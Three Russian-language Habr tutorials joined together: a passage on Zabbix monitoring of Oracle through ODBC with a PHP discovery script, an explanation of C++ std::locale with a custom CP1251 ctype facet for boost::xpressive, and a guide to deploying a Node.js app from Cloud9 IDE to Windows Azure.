* можно еще до кучи: oracle-instantclient11.2-devel-11.2.0.4.0-1.x86\_64.rpm :)
в той папке в которую скачали все эти файлы делаем:
```
# rpm -i oracle-*.rpm
```
#### Настройка SQLplus для доступа к БД Oracle.
Для того чтобы клиент работал, необходимо в параметры окружение выставить необходимые переменные, для начала выставим их в своем профиле, прописав в файл `$HOME/.bash_profile`:
```
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib64:$LD_LIBRARY_PATH
TNS_ADMIN=$ORACLE_HOME/network/admin>
PATH=$PATH:$ORACLE_HOME/bin:$HOME/bin
export ORACLE_HOME
export LD_LIBRARY_PATH
export TNS_ADMIN
export PATH
```
Перелогиниваемся и смотрим есть ли наши переменные в
```
# env
```
Обратим внимание на переменную `TNS_ADMIN=$ORACLE_HOME/network/admin`
Этот путь необходимо создать, туда мы положим файл tnsnames.ora который используется библиотеками клиента для подключения к БД.
Создадим подключение к БД с именем TESTDB например.
```
#cat $ORACLE_HOME/network/admin/tnsnames.ora
```
```
TESTDB =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = oratestdb)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = testdb)
)
)
```
Необходимо подставить нужные значения в HOST и SERVICE\_NAME.
HOST — можно прописывать IP адрес или DNS имя (проверьте только, что оно ресолвится в IP)
Проверим настройку клиента, только предварительно создайте учетную запись zabbix в Oracle.
```
# sqlplus zabbix/zabbix@TESTDB
```
```
SQL*Plus: Release 11.2.0.4.0 Production on Sat May 24 10:47:09 2014
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL>
```
Видим, что клиент выдал приглашение, значит соединение прошло успешно, и совсем чтобы быть уверенными сделаем простенький запрос:
```
SQL> select banner from v$version where rownum=1;
```
```
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production
SQL>
```
#### Конфигурация ODBC.
Официальные пакеты Zabbix Server и Zabbix Proxy в СentoOS скомпилированы с поддержкой unixODBC, поэтому после их установки у вас должен быть установленный пакет unixODBC, проверяем:
```
# yum info *ODBC
```
Вывод должен содержать следующие пакеты: `unixODBC` и `oracle-instantclient11.2-odbc`.
Правим файлы:
```
# cat /etc/odbcinst.ini
```
```
[OracleDriver]
Description=Oracle ODBC driver for Oracle 11g
Driver=/usr/lib/oracle/11.2/client64/lib/libsqora.so.11.1
```
И сразу делаем такую проверку:
```
# ldd /usr/lib/oracle/11.2/client64/lib/libsqora.so.11.1
```
```
ldd: warning: you do not have execution permission for `/usr/lib/oracle/11.2/client64/lib/libsqora.so.11.1`
linux-vdso.so.1 => (0x00007fff1a58f000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007f89d6d4d000)
libm.so.6 => /lib64/libm.so.6 (0x00007f89d6ac8000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f89d68ab000)
libnsl.so.1 => /lib64/libnsl.so.1 (0x00007f89d6692000)
libclntsh.so.11.1 => /usr/lib/oracle/11.2/client64/lib/libclntsh.so.11.1 (0x00007f89d3d22000)
libodbcinst.so.1 => /lib64/libodbcinst.so.1 (0x00007f89d3b11000)
libc.so.6 => /lib64/libc.so.6 (0x00007f89d377d000)
/lib64/ld-linux-x86-64.so.2 (0x00007f89d711c000)
libnnz11.so => /usr/lib/oracle/11.2/client64/lib/libnnz11.so (0x00007f89d33af000)
libaio.so.1 => /lib64/libaio.so.1 (0x00007f89d31ae000)
libltdl.so.7 => /usr/lib64/libltdl.so.7 (0x00007f89d2fa5000)
```
C большой долей вероятностью, вы получите `libodbcinst.so.1 => not found`, поэтому нужно сделать сим-линк:
```
# ls -lah /lib64 | grep odbc
```
```
lrwxrwxrwx. 1 root root 31 May 18 00:45 libodbcinst.so.1 -> /usr/lib64/libodbcinst.so.2.0.0
lrwxrwxrwx. 1 root root 16 May 20 11:41 libodbcinst.so.2 -> libodbcinst.so.1
```
Дальше редактируем файл:
```
# cat /etc/odbc.ini
```
```
[ORA_TESTDB]
Driver= OracleDriver
DSN= TESTDB
ServerName= TESTDB
UserID= zabbix
Password= zabbix
```
После этого у нас должно получится подключится к БД Oracle через клиент ODBC (всегда используйте параметр -v, если будет ошибка подключения, скажет детально в чем проблема):
```
# isql -v ORA_TESTDB
```
```
+---------------------------------------+
| Connected! |
| |
| sql-statement |
| help [tablename] |
| quit
| |
+---------------------------------------+
SQL>
```
Так же для очистки совести, что у нас все работает, делаем запрос:
```
SQL> select banner from v$version where rownum=1;
+---------------------------------------------------------------------------------+
| BANNER |
+---------------------------------------------------------------------------------+
| Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production |
+---------------------------------------------------------------------------------+
SQLRowCount returns -1
1 rows fetched
SQL>
```
Поздравляю, Вы настроили ODBC.
Теперь нам необходимо добиться, чтобы Zabbix Proxy так же мог делать запросы через ODBC.
Для этого необходимо, чтобы в окружение процесса zabbix\_proxy были доступны переменные, указанные выше, для это добавим в файл:
```
# cat /etc/init.d/functions
```
```
# Set up a default search path.
PATH="/sbin:/usr/sbin:/bin:/usr/bin"
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib64:$LD_LIBRARY_PATH
TNS_ADMIN=$ORACLE_HOME/network/admin
PATH=$PATH:$ORACLE_HOME/bin:$HOME/bin
export ORACLE_HOME
export LD_LIBRARY_PATH
export TNS_ADMIN
export PATH
```
После этого обязательно перезапускаем zabbix\_proxy:
```
# service zabbix-proxy restart
```
Теперь мы сразу перейдем к настройке правил автообнаружения в терминологии Zabbix — это low level discovery rule.
Что такое LLD?
В принципе это любой элемент в Zabbix который может вернуть данные в JSON формате.
Так встроенный мониторинг баз данных в Zabbix всегда возвращает только 1 колонку и 1 строку. Почему-то в команде Zabbix до сиз пор не напишут для БД генератор LLD.
Кому нужна эта фича, [просьба проголосовать](https://support.zabbix.com/browse/ZBXNEXT-2321).
Придется написать скрипт который будет выдавать нам список объектов в JSON формате.
Шаблон и скрипт можно взять на [GitHub](https://github.com/nucleusv/zabbix/tree/master/oracle-lld)
Скрипт написан на php, поэтому любителям bash прошу отвернуться в сторону :)
Комментировать сам скрипт не буду, думаю по коду все понятно, скажу только, что его нужно положить в папку которая задана в конфиге zabbix\_proxy.conf (или zabbix\_server.conf):
```
ExternalScripts=/usr/lib/zabbix/externalscripts
```
**Скрипт oracle.odbc.discovery**
```
#!/usr/bin/php
php
if(!isset($argv[1]) && !isset($argv[2])) exit("ZBX_NOTSUPPORTED");
$connected_dsn = odbc_connect($argv[1],"","");
if(!$connected_dsn) exit('SQL connection erorr | ZBX_NOTSUPPORTED');
switch ($argv[2]) {
case "tablespaces":
$result=odbc_exec($connected_dsn,"SELECT tablespace_name FROM dba_tablespaces;");
$tablespaces = array("data"=array());
while(odbc_fetch_row($result)){
$tablespaces['data'][]=array('{#TBSNAME}'=>odbc_result($result,1));
}
echo json_encode($tablespaces);
break;
case "jobs":
$result=odbc_exec($connected_dsn,"SELECT job_name, owner FROM dba_scheduler_jobs WHERE state != 'DISABLED';");
$jobs = array("data"=>array());
while(odbc_fetch_row($result)){
$jobs['data'][]=array(
'{#JOBNAME}'=>odbc_result($result,1),
'{#JOBOWNER}'=>odbc_result($result,2));
}
echo json_encode($jobs);
break;
}
exit();
?>
```
Скрипту передаются два параметра:
1. DSN — который вы указали в файле /etc/odbc.ini в квадратных скобках, в случае примера это ORA\_TESTDB
2. тип объектов, список которых нужно вернуть: tablespaces или jobs
В случае jobs, скрипт вернет так же и {#JOBOWNER}, то есть владельца job'a.
Добавьте права на выполнения на скрипт и попробуйте его запустить:
`# /usr/lib/zabbix/externalscripts/oracle.odbc.discovery ORA_TESTDB tablespaces`, скрипт вернет примерно вот такой массив:
```
{
"data": [
{
"{#TBSNAME}": "SYSTEM"
},
{
"{#TBSNAME}": "SYSAUX"
},
{
"{#TBSNAME}": "UNDOTBS1"
},
{
"{#TBSNAME}": "TEMP"
},
{
"{#TBSNAME}": "USERS"
}
]
}
```
```
# /usr/lib/zabbix/externalscripts/oracle.odbc.discovery ORA_TESTDB jobs
```
```
{
"data": [
{
"{#JOBNAME}": "PURGE_LOG",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "ORA$AUTOTASK_CLEAN",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "DRA_REEVALUATE_OPEN_FAILURES",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "BSLN_MAINTAIN_STATS_JOB",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "RSE$CLEAN_RECOVERABLE_SCRIPT",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "SM$CLEAN_AUTO_SPLIT_MERGE",
"{#JOBOWNER}": "SYS"
},
{
"{#JOBNAME}": "RLM$EVTCLEANUP",
"{#JOBOWNER}": "EXFSYS"
},
{
"{#JOBNAME}": "RLM$SCHDNEGACTION",
"{#JOBOWNER}": "EXFSYS"
}
]
}
```
Наконец-то переходим к добавлению мониторинга БД Oracle в Zabbix.
Для начала пару слов о шаблоне:
1. общие ключи мониторинга Oracle взяты из скрипта zabora
2. чтобы шаблона заработал необходимо во вкладе Макросы самого хоста, добавить 3 пользовательских макроса:
— {$DSN1} — DSN который прописан в квадратных скобках файла /etc/odbc.ini (в примере ORA\_TESTDB)
— {$ORA\_USER} — пользователь с правами которого будет подключение к БД Oracle
— {$ORA\_PASSWORD } — пароль для подключения к БД Oracle
Итак список правил LLD:
Чтобы правила отработали в первый раз, выставите в самих правила интервал, предположим 300 секунд, и через 5 минут у вас в элементах данных должны создаться новые.
Рассмотри сами правила и начнем с Tablespaces.
В принципе здесь все понятно, хочу обратить внимание на поле «Фильтр».
С помощью этого поля можно производить фильтрацию списка который возвращает нам сам элемент, в нашем примере нам не нужно добавлять на мониторинг системные tablespaces. Фильтрация происходит на основе правила regexp. Как видно на картинки поле {#TBSNAME} должно соответствовать правилу regexp Oracle System Excluded Tablespaces. Общие правила regexp описываются в `Администрирование > Общие > Регулярные выражения` и вызываются в фильтре через символ @.
Аналогично все и для job'ов:
Переходим к прототипам данных
Сам прототип
Картинка говорит сама за себя, но хочу обратить на один нюанс, а именно на поле «Единица измерения», по умолчанию в Zabbix используется 10-тичная система исчисления, что и следовало ожидать, поэтому все приставки Кило, Мега, Гига и т.д. это деление на 1000, что с точки зрения исчисления объема данных не совсем корректно, поэтому чтобы вы получали во вкладке «Последние данные» адекватные значения в Zabbix используется «специальные» единицы измерения: B и Bps — байт и байт в секунду ([подробнее](https://www.zabbix.com/documentation/ru/2.2/manual/config/items/item)).
Но есть забавный момент (баг), в последних данных приставки K(ilo), M(ega), G(iga) переводятся в K, М, Г, а вот сама единица нет, поэтому в случае с гигабайтами у Ваc будет ГB.
Прототипы триггеров для tablespaces:
Диапазоны следующие:
* при размере меньше 3ТБ ограничение в процентах
* от 3ТБ до 10ТБ в гигабайтах
* от 10ТБ в гигабайтах
Обратить внимание, что значения в условиях используется в байтах, а также обратить на порядок и используемых значений.
На первый взгляд может показаться лишним условие «Максимальный размер > 0»
Но это сделано для того чтобы приходило более информативное письмо для DBA.
В действиях вы указываете:
```
1. {ITEM.NAME1} ({HOSTNAME1}:{TRIGGER.KEY1}): {ITEM.VALUE1}
2. {ITEM.NAME2} ({HOSTNAME1}:{TRIGGER.KEY2}): {ITEM.VALUE2}
3. {ITEM.NAME3} ({HOSTNAME1}:{TRIGGER.KEY3}): {ITEM.VALUE3}
```
В действие мы не можем получить значения ключа который был создан автоматически, не то чтобы мы не можем его получить просто мы не знаем его название, для это там нужно вычленить из ключа название tablespace, но таких функций Zabbix нет.
При таких настройках действия, Вам будет приходить нечто подобное:
```
1. Текущий размер tablespace BG_Z_LOB_TBS (ODB.odbc.select[tbs_size_BG_Z_LOB_TBS,ORA_ODB]): 2 GB
2. Осталось свободного места в процентах в tablespace BG_Z_LOB_TBS (ODB.odbc.select[tbs_used_percent_BG_Z_LOB_TBS,ORA_ODB]): 99 %
3. Максимально возможный размер tablespace BG_Z_LOB_TBS (ODB.odbc.select[tbs_maxsize_BG_Z_LOB_TBS,ORA_ODB]): 32 GB
```
Прототипы данных для job'ов:
Прототипы триггеров для job'ов:
Триггеры срабатывают если:
* время выполнения job'a более 720 минут
* если job завершился со статусом не равным «SUCCEEDED»
Приятных Вам обнаружений в БД Oracle :) | https://habr.com/ru/post/226365/ | null | ru | null |
# Не забываем о языковых и культурных особенностях
Рано или поздно все сталкиваются с проблемами связанными с языковым и культурным разнообразием при написании программ. Я был сильно удивлен узнав, что часть моих знакомых, пишущих на C++, решают эти проблемы своими велосипедами. Для тех, кто еще не знает что такое std::locale я хотел бы кратко на примере показать как c ним работать и что бывает, если о нем забыть…
**std::locale** (локализация) — это объект, позволяющий учитывать культурные и языковые особенности пользователей. По сути, это контейнер специальных классов — *фасетов*, к которому обращается программа, если ей необходимо произвести действия, зависящие от естественного языка. Программа поручает подобные действия фасетам локализации. В локализацию могут быть добавлены любые пользовательские фасеты. Но наибольший интерес представляют стандартные, так как они реализованы в любой локализации и могут быть перманентно или на время подменены:
* collate (сравнение строк)
* numeric (ввод/вывод чисел)
* monetary (ввод/вывод денег)
* time (ввод/вывод времени)
* ctype (классификация символов)
* messages (выборка сообщений)
В реальности мы постоянно используем фасеты, даже не подозревая этого. Стандартная библиотека шаблонов использует лакализацию для ввода/вывода. boost::regex для преобразования регистра символов и т.д. Локализация задается платформой. Пользователям \*nix систем знакомы такие строки как «ru\_RU:UTF-8», «en\_US.UTF-8» — это названия локализаций в платформе. Программа использует пользовательскую локализацию. Если пользователем локализация не задана, используется «классическая».
### Пример использования локализации и переопределения фасета
Рассмотрим пример, в котором попробуем технику подмены стандартного фасета локализации. Обычно рассматривают потоковый ввод/вывод, но я хотел бы заострить внимание на том, что может происходить, если писать код, зависимый от локализации, не зная что это такое. Попробуем использование локалей с распространенной библиотекой boost::xpressive (можно использовать и boost::regex, но тем кто первый раз слышит про xpressive, будет полезно о нем [почитать](http://boost-sandbox.sourceforge.net/libs/xpressive/doc/html/index.html)):
> `1.
> 2. #include
> 3. #include
> 4.
> 5. using namespace std;
> 6. using namespace boost::xpressive;
> 7.
> 8. int main(int argc, char \*argv[])
> 9. {
> 10. sregex xpr = sregex::compile("мир", regex\_constants::icase);
> 11. smatch match;
> 12. string str("ПРИВЕТ МИР!");
> 13. if(regex\_search(str, match, xpr))
> 14. cout << "icase ok" << endl;
> 15. else
> 16. cout << "icase fail" << endl;
> 17. return 0;
> 18. }
> 19.`
Некоторых удивит, что выдача программы сильно **зависит от платформы**. Более того, на одной платформе программа может выдавать различные результаты. Все дело в locale. Если предположить, что кодировка файла примера — windows-1251, то результат «icase fail» можно достичь на платформе, в которой пользовательская локаль имеет кодировку, отличную от cp1251. Самый распространенный пример такой платформы — mingw (скачанный как бинарник с sourceforge) + Windows. В таком случае, алгоритмы boost::xpressive просто не знают какие символы в расширенной части кодовой таблицы cp-1251 являются буквами. И виноват в этом фасет ctype классической локализации. Сообщив правильный фасет ctype локализации, с которой работает xpressive, мы добъемся нужного результата. В простейшем случае, если в системе установлена нужная локализация, нам достаточно сделать ее глобальной
> `1.
> 2. //устанавливаем глобальную локализацию
> 3. std::locale cp1251\_locale("ru\_RU.CP1251");
> 4. std::locale::global(cp1251\_locale);
> 5.`
либо сообщить о ней компилятору regex-ов
> `1.
> 2. std::locale cp1251\_locale("ru\_RU.CP1251");
> 3. sregex\_compiler compiler;
> 4. // сообщаем компилятору regex-ов какой локализацией пользоваться
> 5. compiler.imbue(cp1251\_locale);
> 6. sregex xpr = compiler.compile("мир", regex\_constants::icase);
> 7.`
Все бы ничего, но на платформе, где не поддерживается локализация ru\_RU:CP1251 наш код выкинет исключение. В лучшем случае, неправильно указано имя, в худшем — нужной локализации нет в системе. Решим эту проблему реализацией собственного фасета ctype (именно он объяснит xpressive какие символы являются буквами и каким образом меняется регистр).
Простейший пример реализации фасета ctype и примера, для кодировки CP1251:
> `1.
> 2. #include
> 3. #include
> 4.
> 5. using namespace std;
> 6. using namespace boost::xpressive;
> 7.
> 8. */\*\*@brief Очень упрощенный пример фасета ctype для корректной работы с*
> 9. *\* кодировкой Cp1251\*/*
> 10. class ctype\_cp1251 : public ctype<char>
> 11. {
> 12. public:
> 13.
> 14. */\*\*@breif mask в ctype\_base - это перечисление всех возможных типов*
> 15. *\* символов - alpha, digit, ...\*/*
> 16. typedef typename ctype<char>::ctype\_base::mask mask;
> 17.
> 18. // для краткости переобозначим константы
> 19. enum{
> 20. alpha = ctype<char>::alpha,
> 21. lower = ctype<char>::lower,
> 22. punct = ctype<char>::punct
> 23. // другие маски
> 24. };
> 25.
> 26. */\*\*@brief Основной конструктор. r - характеризует область жизни*
> 27. *\* фасета. Подробней см. в книге Страуструпа.\*/*
> 28. ctype\_cp1251(size\_t r = 0)
> 29. {
> 30. // инициализируем таблицу масок. Индекс - отрицательная часть char.
> 31. // То есть ext\_tab[1] - маска для символа char(-1) - 'я'
> 32. ext\_tab[0] = 0;
> 33. for(size\_t i = 1; i <=32; ++i)
> 34. ext\_tab[i] = alpha | lower;
> 35. for(size\_t i = 33; i <= 64; ++i)
> 36. ext\_tab[i] = alpha | upper;
> 37. // ... остальные символы в данном примере неинтересны
> 38. for(size\_t i = 65; i <= 128; ++i)
> 39. ext\_tab[i] = punct;
> 40. }
> 41.
> 42. ~ctype\_cp1251()
> 43. { }
> 44.
> 45. protected:
> 46.
> 47. */\*\*@brief Отвечает на вопрос соответствует ли символ c маске m\*/*
> 48. virtual bool is(mask m, char c) const
> 49. {
> 50. if(0 <= c && c <= 127)
> 51. return ctype<char>::is(m, c);
> 52. else if(-128 <= c && c < 0)
> 53. return ext\_tab[static\_cast<size\_t>(c\*-1)] & m;
> 54. }
> 55.
> 56. */\*\*@brief Преобразует символ c в верхний регистр\*/*
> 57. virtual char do\_toupper(char c) const
> 58. {
> 59. if(0 <= c && c <=127)
> 60. return ctype<char>::do\_toupper(c);
> 61. else if(is(lower, c))
> 62. return c - 32;
> 63. return c;
> 64. }
> 65.
> 66. */\*\*@brief Преобразует символ c в нижний регистр\*/*
> 67. virtual char do\_tolower(char c) const
> 68. {
> 69. if(0 <= c && c <=127)
> 70. return ctype<char>::do\_tolower(c);
> 71. else if(is(upper, c))
> 72. return c + 32;
> 73. return c;
> 74. }
> 75.
> 76. // чтобы не усложнять пример, не будем переопределять остальные
> 77. // виртуальные функции
> 78.
> 79. private:
> 80. // запрет на копирование
> 81. ctype\_cp1251(const ctype\_cp1251&);
> 82. const ctype\_cp1251& operator=(const ctype\_cp1251&);
> 83. mask ext\_tab[129]; //@< маски расширенной части кодовой таблицы CP1251
> 84. };
> 85.
> 86. int main(int argc, char \*argv[])
> 87. {
> 88. // создаем экземпляр фасета
> 89. ctype<char> \*ctype\_cp1251\_facet = new ctype\_cp1251();
> 90.
> 91. // Создаем новую локализацию на основе текущей, использующей
> 92. // определенный выше фасет. Можно определить глобальную
> 93. // локализацию с описанным фасетом, тогда все классы и
> 94. // функции, будут использовать именно ее.
> 95. locale cp1251\_locale(locale(""), ctype\_cp1251\_facet);
> 96.
> 97. // создадим компилятор regex-ов с конкретной локализацией
> 98. sregex\_compiler compiler;
> 99. compiler.imbue(cp1251\_locale);
> 100.
> 101. sregex xpr = compiler.compile("мир", regex\_constants::icase);
> 102. smatch match;
> 103. string str("ПРИВЕТ МИР!");
> 104. if(regex\_search(str, match, xpr))
> 105. cout << "icase ok" << endl;
> 106. else
> 107. cout << "icase fail" << endl;
> 108. return 0;
> 109. }
> 110.`
Теперь результат программы не будет зависеть от конкретной платформы. Переопределяя стандартные фасеты или добавляя новые, можно управлять поведением алгоритма/программы в зависимости от культурных и языковых особенностей пользователей.
Полное описание класса std::local и техники использования фасетов можно найти в 3-ем *специальном* издании книги Бьерна Страуструпа «Язык программирования C++», в приложении. Для уточнения структуры фасетов, можно воспользоваться любым руководством по STL. Например [тут](http://www.cplusplus.com/reference/).
Задача преобразования кодировок решается реализацией фасета codecvt. Если будет интересно, расскажу о ней в следующей статье.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
###### Текст подготовлен в [Редакторе Блогов](http://www.softcoder.ru/blogeditor/) от © SoftCoder.ru | https://habr.com/ru/post/104417/ | null | ru | null |
# Развертывание облачного приложения Node.js из среды разработки Cloud9
В данном руководстве описана разработка, компиляция и развертывание приложений Node.js в Windows Azure с помощью интегрированной среды разработки (IDE) Cloud9.
О чем пойдет речь в данном руководстве:
* Как создать проект в Cloud9 IDE.
* Как развернуть проект в Windows Azure.
* Как обновить развернутое приложение в Windows Azure.
* Как перемещать проекты между тестовыми и рабочими развертываниями.
[Cloud9 IDE](http://cloud9ide.com/) –– это кросс-платформенная среда разработки с веб-интерфейсом. Одна из функций Cloud9 для проектов на базе Node.js позволяет выполнять прямое развертывание приложений в Windows Azure. Кроме того, среда Cloud9 интегрирована с репозиториями GitHub и BitBucket, что облегчает обмен проектами с другими разработчиками.
С помощью Cloud9 можно разрабатывать и развертывать приложения в Windows Azure из большинства современных браузеров и операционных систем, причем установка дополнительных инструментов или SDK на локальном компьютере не требуется. Ниже описана работа в браузере Google Chrome на компьютере Mac.
### Подписка
Чтобы начать работу с Cloud9, необходимо [оформить подписку](http://cloud9ide.com/). На сайт можно войти с имеющимися учетными записями GitHub или BitBucket либо создав учетную запись Cloud9. Доступна как бесплатная подписка, так и платная (с расширенной функциональностью). Дополнительную информацию см. в разделе [Cloud9 IDE](http://cloud9ide.com/).
### Создание проекта Node.js
Войдите в Cloud9, щелкните значок **+** рядом с **My Projects** и выберите **Create a new project**.
В диалоговом окне **Create a new project** укажите имя и тип проекта, а также способ доступа. Нажмите **Create** для создания проекта.
**Примечание.** Некоторые настройки доступны только в платной версии Cloud9.
**Примечание.** При развертывании проекта Cloud9 в Windows Azure его имя не используется.
После создания проекта щелкните **Start Editing**. Если среда Cloud9 запущена впервые, система предложит краткий обзор функций. Чтобы пропустить обзор или посмотреть его позже, выберите **Just the editor, please**.
Для создания приложения Node нажмите **File** и выберите **New File**.
Появится новая вкладка **Untitled1**. Чтобы создать приложение Node, на вкладке **Untitled1** введите следующий код:
```
var http = require('http');
var port = process.env.PORT;
http.createServer(function(req,res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('hello azure\n');
}).listen(port);
```
**Примечание.** Переменная process.env.PORT гарантирует, что приложение будет использовать правильный порт как при отладке в Cloud9, так и при развертывании в Windows Azure.
Чтобы сохранить код, выберите **File** и затем **Save as**. В диалоговом окне **Save As** укажите **server.js** в качестве имени файла и щелкните **Save**.
**Примечание.** В некоторых случаях появляется значок предупреждения о том, что переменная req не используется. Игнорируйте его.
### Запуск приложения
**Примечание.** Процедура, описанная в этом разделе, подходит для создания самых простых приложений. Если приложение использует внешние модули, то для среды отладки понадобится другая версия Node.js. Чтобы подключить ее, выберите Configure… из раскрывающегося списка отладки и укажите нужную версию Node.js. Например, при использовании версии Node.js, отличной от 0.6.x, при работе с модулем azure могут возникать ошибки аутентификации.
Для запуска приложения в отладчике Cloud9 нажмите **Debug**.
Появится окно результатов. Щелкните указанный URL, чтобы открыть приложение в окне браузера.
Приложение будет выглядеть примерно так:
Чтобы остановить отладку, щелкните **stop**.
### Создание учетной записи Windows Azure
Для развертывания приложения в Windows Azure требуется учетная запись. Если у вас еще нет учетной записи Windows Azure, оформите пробную подписку. Для этого перейдите на веб-сайт [http://www.windowsazure.com](http://www.windowsazure.com/) и щелкните **Free Trial** в правом верхнем углу.
### Создание развертывания
Чтобы создать новое развертывание, выберите **Deploy** и щелкните **+** для создания сервера развертывания.
В диалоговом окне **Add a deploy target** введите имя развертывания и затем выберите **Windows Azure** в списке**Choose type**. Это имя понадобится для идентификации развертывания в среде Cloud9, но не будет связано с именем развертывания в Windows Azure.
Если развертывание Cloud9 для Windows Azure создается впервые, настройте параметры публикации Windows Azure. Для этого загрузите и установите параметры Cloud9, как описано ниже.
Щелкните **Download Windows Azure Settings**.
Откроется Портал управления Windows Azure, где будет предложено загрузить параметры публикации Windows Azure. Прежде чем начать загрузку, войдите в свою учетную запись Windows Azure.
Сохраните файл параметров публикации на локальный диск.
В диалоговом окне **Add a deploy target** выберите **Choose File** и укажите путь к загруженному файлу.
Затем нажмите **Upload**.
Щелкните **+ Create new**, чтобы создать размещенную службу. *Размещенной службой* называется контейнер, в котором располагается приложение при развертывании в Windows Azure. Дополнительную информацию см. в разделе [«Общие сведения о создании размещенной службы для Windows Azure](http://msdn.microsoft.com/en-us/library/windowsazure/gg432976.aspx)».
Система попросит ввести имя размещенной службы и параметры конфигурации (количество экземпляров, ОС и центр обработки данных). Указанное имя развертывания будет использоваться в качестве имени размещенной службы в Windows Azure. Это имя должно быть уникальным в системе Windows Azure.
**Примечание.** В диалоговом окне Add a deploy target в разделе Choose existing deployment приведен список всех размещенных служб Windows Azure. Чтобы развернуть проект на определенную службу, выберите ее из этого списка.
**Примечание.** Чтобы включить удаленный рабочий стол для развертывания, выберите Enable RDP и укажите учетные данные.
### Развертывание в рабочей среде Windows Azure
Выберите развертывание, созданное на предыдущих этапах. Откроется диалоговое окно с информацией об этом развертывании и рабочим URL, по которому будет выполнено развертывание в Windows Azure.
Выберите **Deploy to Production environment**. Чтобы запустить развертывание, щелкните **Deploy**.
Если данный проект развертывается в Windows Azure впервые, появится сообщение об ошибке **No web.config found**. Нажмите **Yes**, чтобы создать недостающий файл. В результате в проект будет добавлен файл Web.cloud.config.
Если данный проект развертывается в Windows Azure впервые, появится сообщение об ошибке **No ‘csdef’ file present**. Нажмите **Yes**, чтобы создать недостающий файл .csdef. В результате в проект будет добавлен файл ServiceDefinition.csdef. Файл ServiceDefinition.csdef необходим для публикации приложения в Windows Azure. Дополнительную информацию см. в разделе [«Общие сведения о создании размещенной службы для Windows Azure](http://msdn.microsoft.com/en-us/library/windowsazure/gg432976.aspx)».
Система попросит указать размер экземпляра для данного приложения. Выберите **Small** и нажмите **Create**. Подробнее о размерах виртуальной машины Windows Azure см. в разделе [«Как настроить размер виртуальной машины](http://msdn.microsoft.com/en-us/library/windowsazure/ee814754.aspx)».
В статусе развертывания будет отображаться ход выполнения процесса. После завершения развертывания появится надпись **Active**.
**Примечание.** Проектам, развернутым в Windows Azure через среду Cloud 9, в качестве имени назначается GUID.
В диалоговом окне развертывания указывается рабочий URL. После завершения процесса щелкните URL, чтобы открыть развернутое в Windows Azure приложение в браузере.
### Обновление приложения
Чтобы внести изменения в приложение, можно обновить его на той же самой размещенной службе Windows Azure с помощью Cloud9.
В файле server.js file измените код таким образом, чтобы на экран выводилось сообщение hello azure v2. Например, замените существующий код на приведенный ниже.
```
var http = require('http');
var port = process.env.PORT;
http.createServer(function(req,res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('hello azure v2\n');
}).listen(port);
```
Чтобы сохранить код, выберите **File**, а затем **Save**.
### Развертывание обновления в тестовой среде Windows Azure
Выберите **Deploy to Staging**. Чтобы запустить развертывание, щелкните **Deploy**.
Все размещенные службы Windows Azure поддерживают две среды — тестовую и рабочую. Тестовая среда аналогична рабочей, за исключением того, что доступ к приложению в тестовой среде осуществляется по созданному Windows Azure условному URL на базе GUID. Приложение можно проверить сначала в тестовой среде, а затем переместить в рабочую среду посредством свопирования по виртуальному IP-адресу (VIP), как описано ниже.
При развертывании приложения в тестовой среде в консоли будет отображаться тестовый URL на базе GUID, как показано на снимке экрана ниже. Чтобы открыть приложение в тестовой среде в браузере, щелкните этот URL.
### Перемещение обновления в рабочую среду с помощью свопирования VIP
При развертывании в тестовой или рабочей среде каждой службе присваивается виртуальный IP-адрес (VIP). Поэтому для перемещения службы из тестовой среды в рабочую можно вместо повторного развертывания службы выполнить свопирование VIP. При этом приложение будет перемещено из тестовой среды в рабочую без остановки ее функционирования. Подробнее см. в разделе [«Общие сведения об управлении развертываниями в Windows Azure».](http://msdn.microsoft.com/en-us/library/windowsazure/hh386336.aspx)
В диалоговом окне развертывания щелкните ссылку **Open portal**, чтобы перейти в Портал управления Windows Azure.
Выполните вход с помощью своих учетных данных.
В левой части веб-страницы выберите **Hosted****Services****,** **Storage****Accounts** **&** **CDN** и нажмите **Hosted****Services**.
На панели результатов отобразится имя размещенной службы, заданное в среде Cloud9, и два развертывания — одно со значением **Environment** **Staging**, а второе — **Production**.
Чтобы выполнить свопирование VIP, выберите размещенную службу и нажмите **Swap VIP** на ленте.
В открывшемся диалоговом окне свопирования VIP щелкните **OK**.
Перейдите к приложению в рабочей среде. Обратите внимание, что приложение переместилось из тестовой среды в рабочую.
### Использование удаленного рабочего стола
Если вы использовали при создании развертывания RDP, а также указали имя пользователя и пароль, то теперь можно подключаться к размещенной службе через удаленный рабочий стол, выбрав нужный экземпляр и нажав Connect на ленте.
При нажатии на кнопку Connect система предложит загрузить файл .RDP. В этом файле содержится информация, необходимая для создания сеанса удаленного рабочего стола. Откройте этот файл в системе Windows, введите имя пользователя и пароль, указанные при создании развертывания, а затем установите соединение с рабочим столом выбранного экземпляра.
**Примечание.** Файл .RDP, используемый для связи с размещенными экземплярами приложения, работает только со средством удаленных рабочих столов Windows.
### Остановка и удаление приложения
Windows Azure регистрирует экземпляры ролей каждый час работы сервера, причем время работы сервера включает в себя период развертывания, даже если экземпляры не были запущены. Кроме того, время работы сервера учитывает развертывание как в тестовой, так и в рабочей среде.
